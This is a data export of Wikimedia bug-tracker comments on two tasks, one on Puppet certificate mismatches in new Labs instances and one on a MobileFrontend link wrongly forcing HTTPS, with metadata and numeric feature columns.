+286315,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","Yes, I just now deleted the 'nagios' project as it had no instances.",,,1404490694,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-52,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0
+286311,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","abogott: Do you know if this happened, and does this make this ticket obsolete?",,,1404474275,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-52,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+286309,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","(In reply to Andrew Bogott from comment #7)
+> So far no one has claimed ownership of the 'nagios' project, which means it
+> will probably be shut down in the migration
+
+Do you know if this happened, and does this make this ticket obsolete?",,,1400347957,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,1
+286304,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","I'm not actively working on it.  The easy fix is to not have a project called 'nagios' :)
+
+So far no one has claimed ownership of the 'nagios' project, which means it will probably be shut down in the migration, at which point this will be largely moot I think.",,,1395237814,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+286299,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","Assuming this is still a problem, does somebody plan to work on this or is everybody busy with the Eqiad migration?",,,1395237495,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-68,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0
+286296,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","So... here's what I think is happening:
+
+1)  Puppet can't run on instances in the 'nagios' project.  I think this is because of a name conflict... there seems to be a new /etc/sudoers.d/nagios file defined in production puppet which collides with the standard /etc/sudoers.d/<projectname> sudoers file.  (All of this is speculation, I haven't looked for the offending class yet.)
+
+2)  Being unable to complete a puppet run, puppet.conf was never updated by puppet.
+
+3)  #2 shouldn't have mattered because in theory our image automatically sets up puppet.conf.  But the image was broken due to the issue fixed in https://gerrit.wikimedia.org/r/#/c/113788/
+
+Which that fix, new instances now throw the following error, which is what led me to speculate about step 1:
+
+err: Could not retrieve catalog from remote server: Error 400 on SERVER: Duplicate definition: File[/etc/sudoers.d/nagios] is already defined in file /etc/puppet/manifests/sudo.pp at line 11; cannot redefine at /etc/puppet/manifests/sudo.pp:23 on node i-00000a70.pmtpa.wmflabs",,,1392656677,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-72,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+286292,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","I've looked at this quite a bit now, but still have no good solution.  The problem seems limited to this particular project.  I suspect that the very first step of instance startup ('firstboot.sh') is not running, since that should set up puppet.conf properly.  That or there's some kind of early ldap failure.  I'll look at this more as soon as i have a chance.",,,1392476350,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-72,True,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,1,0,1
+286290,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","Let's start with the last bit: No, I didn't even open the configuration field :-).
+
+I usually run ""sudo puppetd -tv"" on the first login just because the initial motd is still the Ubuntu one.
+
+But just now I created another instance (""ici""; the web form is really quick to react to Enter keys :-)), logged in, looked for a Puppet agent running (""ps auxfwww | fgrep puppet""), found none, looked in /var/lib/puppet/ssl/certs:
+
+| scfc@ici:~$ sudo ls -l /var/lib/puppet/ssl/certs
+| total 8
+| -rw-r--r-- 1 puppet puppet 847 Feb 15 11:37 ca.pem
+| -rw-r----- 1 puppet puppet 883 Feb 15 11:38 i-00000a66.pmtpa.wmflabs.pem
+| scfc@ici:~$
+
+and ran Puppet - boom:
+
+| scfc@ici:~$ sudo puppetd -tv
+| info: Creating a new SSL key for i-00000906.pmtpa.wmflabs
+| info: Caching certificate for i-00000906.pmtpa.wmflabs
+| err: Could not request certificate: The certificate retrieved from the master does not match the agent's private key.
+| Certificate fingerprint: 05:91:9E:EE:6C:28:8B:24:FE:19:39:66:03:93:6C:44
+| To fix this, remove the certificate from both the master and the agent and then start a puppet run, which will automatically regenerate a certficate.
+| On the master:
+|   puppet cert clean i-00000906.pmtpa.wmflabs
+| On the agent:
+|   rm -f /var/lib/puppet/ssl/certs/i-00000906.pmtpa.wmflabs.pem
+|   puppet agent -t
+
+| Exiting; failed to retrieve certificate and waitforcert is disabled
+| scfc@ici:~$
+
+Afterwards:
+
+| scfc@ici:~$ sudo ls -l /var/lib/puppet/ssl/certs
+| total 12
+| -rw-r--r-- 1 puppet puppet 847 Feb 15 11:37 ca.pem
+| -rw-r----- 1 puppet puppet 883 Feb 15 11:46 i-00000906.pmtpa.wmflabs.pem                                                                                     
+| -rw-r----- 1 puppet puppet 883 Feb 15 11:38 i-00000a66.pmtpa.wmflabs.pem                                                                                     
+| scfc@ici:~$
+
+So I created another instance (""ici2""), didn't do anything but looked at /etc/puppet/puppet.conf:
+
+| certname = i-00000906.pmtpa.wmflabs
+
+Should that really be there?",,,1392465208,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+286286,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","OK, on a working instance:
+
+# ls -ltra /var/lib/puppet/ssl/certs
+total 16
+-rw-r--r-- 1 puppet puppet  847 Feb 15 08:42 ca.pem
+-rw-r--r-- 1 puppet puppet  883 Feb 15 08:43 i-00000a65.pmtpa.wmflabs.pem
+
+On icinga-scfc-test3:
+
+# ls -ltra /var/lib/puppet/ssl/certs
+total 20
+-rw-r--r-- 1 puppet puppet  847 Feb 14 21:31 ca.pem
+-rw-r----- 1 puppet puppet  883 Feb 14 21:32 i-00000a64.pmtpa.wmflabs.pem
+-rw-r--r-- 1 puppet puppet  883 Feb 14 21:35 i-00000906.pmtpa.wmflabs.pem
+
+Now my theory is that early in its life an instance thinks that its ID is i-00000906 (inherited by mistake from the original image build), and that if a user forces a puppet run during that early stage it tries to create a cert for the wrong ID and is forever after doomed.  Is that possibly what happened here?  Changing the certname in /etc/puppet/puppet.conf to the actual instance ID seems to resolve the problem.
+
+(Another possibility, testing a weaker theory -- were specific puppet classes selected via the wikitech GUI before this instance was able to complete a puppet run?)",,,1392461820,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+286281,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","I just now tried creating a new instance, and it came up fine, and the puppet cert worked.  I do see the error on icinga-scfc-test3, though.
+
+I want to think that this is some kind of occasional error that happens when there's an ID collision or when an old ID is used.  But the fact that it's complaining about an ID different from the instance is very strange.  I'll investigate further...  in the meantime, though, if you create yet another instance, most likely it'll work :/",,,1392461233,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-72,True,1,0,1,1,0,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+63358,Mobile view link unexpectedly goes to HTTPS,"**Author:** `grant`
+
+**Description:**
+clicking on the mobile line from a desktop pc
+firefox 27
+** 
+Secure Connection Failed
+
+An error occurred during a connection to www.idahothewhitewaterstate.com. SSL received a record that exceeded the maximum permissible length. (Error code: ssl_error_rx_record_too_long)
+**
+chrome
+Unable to make a secure connection to the server. This may be a problem with the server, or it may be requiring a client authentication certificate that you don't have.
+Error code: ERR_SSL_PROTOCOL_ERROR
+
+works fine on the android
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Windows 7
+**Platform**: PC
+**Whiteboard**: aklapper-moreinfo",Needs Triage,90.0,1392345420,1401939837.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-mf5uxx45gr2em45poy6f,task_description,resolved,True,c3,1,False,False,True,-72,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+283480,Mobile view link unexpectedly goes to HTTPS,"Change 137291 merged by MaxSem:
+Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()
+
+https://gerrit.wikimedia.org/r/137291",,,1401919388,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+283472,Mobile view link unexpectedly goes to HTTPS,"Yeah, you are right, the patch isn't backported to REL1_22.",,,1401881508,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-57,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+283464,Mobile view link unexpectedly goes to HTTPS,"Change 137291 had a related patch set uploaded by Florianschmidtwelzow:
+Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()
+
+https://gerrit.wikimedia.org/r/137291",,,1401880658,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+283457,Mobile view link unexpectedly goes to HTTPS,"**morbus** wrote:
+
+Incidentally, I can't use master, as there's a version checker in it which states it requires MW 1.23.",,,1401879924,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+283452,Mobile view link unexpectedly goes to HTTPS,"**morbus** wrote:
+
+@Florian: Confused. I grabed REL1_22 from git, per http://www.mediawiki.org/wiki/Extension:MobileFrontend - I pull all my extensions and MW core from git vs. using the packaged downloads. Even so, the commit isn't in the snapshot download either. It doesn't look like this patch has been applied to REL1_22 at all - should it have been?
+
+https://git.wikimedia.org/log/mediawiki%2Fextensions%2FMobileFrontend.git/refs%2Fheads%2FREL1_22",,,1401879786,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1
+283445,Mobile view link unexpectedly goes to HTTPS,"@Morbus: Sorry, but: https://gerrit.wikimedia.org/r/#/c/91123/
+:) In actual version of MobileFrontend getMobileUrl is called with only one argument, so all ok, no need for a patch? Can you try to update MobileFrontend and test?",,,1401861873,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-57,True,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,0,1,1,1,0,1,0,0,0,0,0
+283440,Mobile view link unexpectedly goes to HTTPS,"@Morbus: Can you use Gerrit patch uploader instead? :)
+https://tools.wmflabs.org/gerrit-patch-uploader/
+
+For this tool you only need a free MediaWiki account :)",,,1401860632,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-57,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,0,0,0,1
+283433,Mobile view link unexpectedly goes to HTTPS,"**morbus** wrote:
+
+Patch to change $args to $wgMFForceSecureLogin
+
+Patch attached. I'm not a MW developer, so I've likely screwed up the proper workflow somewhere, but this is what's now running on disobey.com/wiki/, and is consistent with other uses of getMobileUrl() with the second argument.
+
+**Attached**: {F12894}",,,1401842485,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+283426,Mobile view link unexpectedly goes to HTTPS,"**morbus** wrote:
+
+Fact dump:
+
+ * Old wiki, updated a number of times.
+ * No core hacks or patches.
+ * Never configured for https:.
+ * Brand new install of MobileFrontend.
+ * Vanilla enabled - no additional config past $wgMFAutodetectMobileView.
+ * Running today-pulled REL1_22 of both core and MobileFrontend.
+ * $wgSecureLogin is not set.
+
+The cause is in MobileContext::getMobileUrl( $url, $forceHttps = false ), namely that second argument. In the code, if that evaluates to TRUE, then the scheme is set to https - the expectation for that argument is a boolean. But, if you look in onSkinTemplateOutputPageBeforeExec(), you'll see that $args, an array, is being passed to it. In my case, $wgMobileUrlTemplate wasn't configured, so $args will always be an array filled with the mobileaction => toggle_view_mobile.",,,1401841836,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+283421,Mobile view link unexpectedly goes to HTTPS,"**morbus** wrote:
+
+I'm seeing this too. Still debugging. Public URL: http://www.disobey.com/wiki/Main_Page",,,1401840021,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0
+283415,Mobile view link unexpectedly goes to HTTPS,"(In reply to grant from comment #13)
+> I'm in the middle of a server change. Give me a day or two.
+
+Grant: Any news?",,,1399928688,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-60,True,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,1
+283410,Mobile view link unexpectedly goes to HTTPS,Thanks for the update Grant.,,,1393546767,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-70,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+283406,Mobile view link unexpectedly goes to HTTPS,"**grant** wrote:
+
+I'm in the middle of a server change. Give me a day or two. Since is is a subdoman of a different site, I wonder if the htaccess of the other site is passing along some values. I will get back to you once I'm up and running.",,,1393540805,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-70,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0
+283402,Mobile view link unexpectedly goes to HTTPS,"Grant, I don't see anything that suggests the problem is Mediawiki or MobileFrontend related and I can't replicate your problem. The error your described in your original post suggests to me that you may be dealing with a server configuration issue, though I really can't be sure.
+
+Is the site in question publicly visible? It may be easier for us to have a better sense of what is happening if we can see the issue in the wild.",,,1393539987,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-70,True,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0
+283397,Mobile view link unexpectedly goes to HTTPS,"**grant** wrote:
+
+if it's a mess excuse me. 
+
+***
+
+if ( !defined( 'MEDIAWIKI' ) ) {
+	exit;
+}
+
+$path = array( $IP, ""$IP/includes"", ""$IP/languages"" );
+set_include_path( implode( PATH_SEPARATOR, $path ) );
+
+#$wgCanonicalServer = 'http://wiki.x.com';
+#require_once( ""includes/DefaultSettings.php"" );
+
+
+$wgSitename      = ""Idx ww"";
+$wgMetaNamespace = ""Idx_ww"";
+
+$wgServer = ""http://wiki.x.com"";
+
+$wgScriptPath 	 = """";            # not edited. that is how it appears  tuf to figure paths for subdomain. 
+$wgScript           = ""$wgScriptPath/index.php"";
+$wgRedirectScript   = ""$wgScriptPath/redirect.php"";
+$wgArticlePath      = ""$wgScript?title=$1"";
+$wgStylePath        = ""$IP/skins"";
+$wgStyleDirectory   = ""skins"";
+$wgLogo             = ""images/bookthumb.jpg"";
+$wgSecureLogin      = false;
+$wgEnableEmail 	    = true;
+$wgEnableUserEmail = false;
+
+$wgEnotifUserTalk = true; # UPO
+$wgEnotifWatchlist = true; # UPO
+$wgEmailAuthentication = true;
+
+# Experimental charset support for MySQL 4.1/5.0.
+$wgDBmysql5 = false;
+
+## Shared memory settings
+$wgEnableParserCache = false;
+$wgMainCacheType = CACHE_NONE;
+$wgMemCachedServers = array();
+
+## To enable image uploads, make sure the 'images' directory
+## is writable, then set this to true:
+$wgTmpDirectory   = true;
+$wgEnableUploads = true;
+ $wgFileExtensions = array('png','gif','jpg','jpeg','xls','pdf','tiff','bmp','kml');
+$wgUseImageResize = true;
+$wgUseImageMagick = true;
+##$wgImageMagickConvertCommand = ""/usr/bin/convert"";
+##image majik thumb fix sept 10
+$wgCustomConvertCommand = ""/usr/bin/convert -resize %wx%h %s %d"";
+$wgImageMagickTempDir = ""$IP/x/tmp"";
+$wgTmpDirectory = ""$IP/x/tmp"";
+$wgLanguageCode = ""en"";
+$wgProxyKey = ""xx"";
+$wgDefaultSkin = 'monobook';
+$wgEnableCreativeCommonsRdf = true;
+$wgRightsPage = ""Copyright"";
+
+$wgDiff3 = ""/usr/bin/diff3"";
+
+
+$configdate = gmdate( 'YmdHis', @filemtime( __FILE__ ) );
+$wgWhitelistRead =  array( ""Main Page"", ""Special:Userlogin"", ""Help:Contents"", ""Idaho Whitewater:Privacy policy"", ""Idaho_Whitewater:About"", ""Special:Contact"", ""Payette,_Middle_Fork,_Silver_Creek"");
+$wgGroupPermissions['*'    ]['edit']            = false;
+$wgGroupPermissions['*'    ]['read']            = false;
+$wgGroupPermissions['*']['createaccount'] = false;
+$wgGroupPermissions['sysop']['createaccount']   = true;
+
+# extensions start here
+enableSemantics( 'wiki.x.com');
+# Namespace config SMW
+$smwgNamespace = 'http://wiki.x.com';
+# Semantic Maps
+require_once( ""$IP/extensions/SemanticMaps/SemanticMaps.php"" );  
+# installer
+require_once ""$IP/extensions/ExtensionInstaller/ExtensionInstaller.php"";              
+ // Category Tree
+#$wgUseAjax = true;
+require_once( ""$IP/extensions/CategoryTree/CategoryTree.php"" );
+#forms
+include_once( ""$IP/extensions/SemanticForms/SemanticForms.php"" );
+$wgAllowExternalImages = true;
+
+# mobile frontend
+#require_once ""$IP/extensions/MobileFrontend/MobileFrontend.php"";
+require_once __DIR__ . ""/extensions/MobileFrontend/MobileFrontend.php"";
+$wgMFAutodetectMobileView = true;
+
+# ajax poll
+require_once __DIR__ . ""/extensions/AJAXPoll/AJAXPoll.php"";
+$wgGroupPermissions['user']['ajaxpoll-view-results'] = true;
+#contactpage
+require_once( ""$IP/extensions/ContactPage/ContactPage.php"" );
+$wgContactUser = 'me';
+$wgContactSender = $wgPasswordSender;
+$wgContactSenderName = 'Contact Form on ' . $wgSitename;
+
+#confirm edit
+require_once ""$IP/extensions/ConfirmEdit/ReCaptcha.php"";
+$wgCaptchaClass = 'ReCaptcha';
+$wgReCaptchaPublicKey = 'x';
+$wgReCaptchaPrivateKey = 'x';
+#turn on captcha on the contact
+$wgCaptchaTriggers['contactpage'] = true;",,,1392415828,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+283390,Mobile view link unexpectedly goes to HTTPS,"Grant, it might be useful to see your whole LocalSettings.php file (with sensitive info like passwords, etc redacted). At the very least - do you have $wgSecureLogin set?",,,1392411117,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1
+283379,Mobile view link unexpectedly goes to HTTPS,"**grant** wrote:
+
+
+$wgServer = ""http://wiki.kayakidaho.com"";
+
+# MobileFrontend
+require_once __DIR__ . ""/extensions/MobileFrontend/MobileFrontend.php"";
+$wgMFAutodetectMobileView = true;
+
+pretty basic. I placed a couple mobile divs on the home page and a template. 
+
+I tried a couple .htaccess rewrites without success. 
+I have to qualify my comment: ""works fine on android."" 
